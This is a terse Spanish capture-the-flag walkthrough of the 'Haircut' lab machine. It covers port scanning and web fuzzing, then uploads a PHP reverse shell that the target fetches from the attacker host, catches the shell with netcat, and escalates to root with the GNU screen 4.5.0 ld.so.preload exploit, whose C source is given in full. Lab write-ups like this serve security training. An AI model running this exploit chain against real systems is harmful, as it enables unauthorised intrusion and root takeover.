nmap -A -p- -oA output 10.129.95.174 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA haircut 10.129.95.174

nmap -sU -O -p- -oA haircut-udp 10.129.95.174

nikto -h 10.129.95.174:80

Pasted image 20220122172854.png

Pasted image 20220122173151.png

nmap --script http-enum -p80 10.129.95.174 -oN webScan -Pn

Pasted image 20220122172834.png

wfuzz -c hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt "http://10.129.95.174/FUZZ"

Encontramos el directorio /uploads

Pasted image 20220122173127.png

Creamos un archivo extensions.txt con php,html y txt

wfuzz -c hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions.txt http://10.129.95.174/FUZZ.FUZ2Z

Pasted image 20220122174259.png

http://10.129.95.174/exposed.php

Pasted image 20220122174340.png

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php cu3rv0x.php

Cambiamos el puerto y la ip

python3 -m http.server 80

http://10.10.14.125/cu3rv0x.php -o uploads/cuerv0x.php

Pasted image 20220122175957.png

nc -lvnp 443

Pasted image 20220122180028.png

searchsploit screen 4.5

searchsploit -m 41154

![[Pasted image 20220122180431.png]]

cd /

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Pasted image 20220122180804.png

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

Pasted image 20220122183656.png

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

Creamos un archivo rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Pasted image 20220122184048.png

gcc -o /tmp/rootshell /tmp/rootshell.c

Pasted image 20220122184215.png

cd /tmp

python3 -m http.server 8888

wget http://10.129.95.174/rootshell

wget http://10.129.95.174/libhax.so

Pasted image 20220122184713.png

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
id
/tmp/rootshell

Pasted image 20220122185308.png

boxes

copyright©2022 Cu3rv0x all rights reserved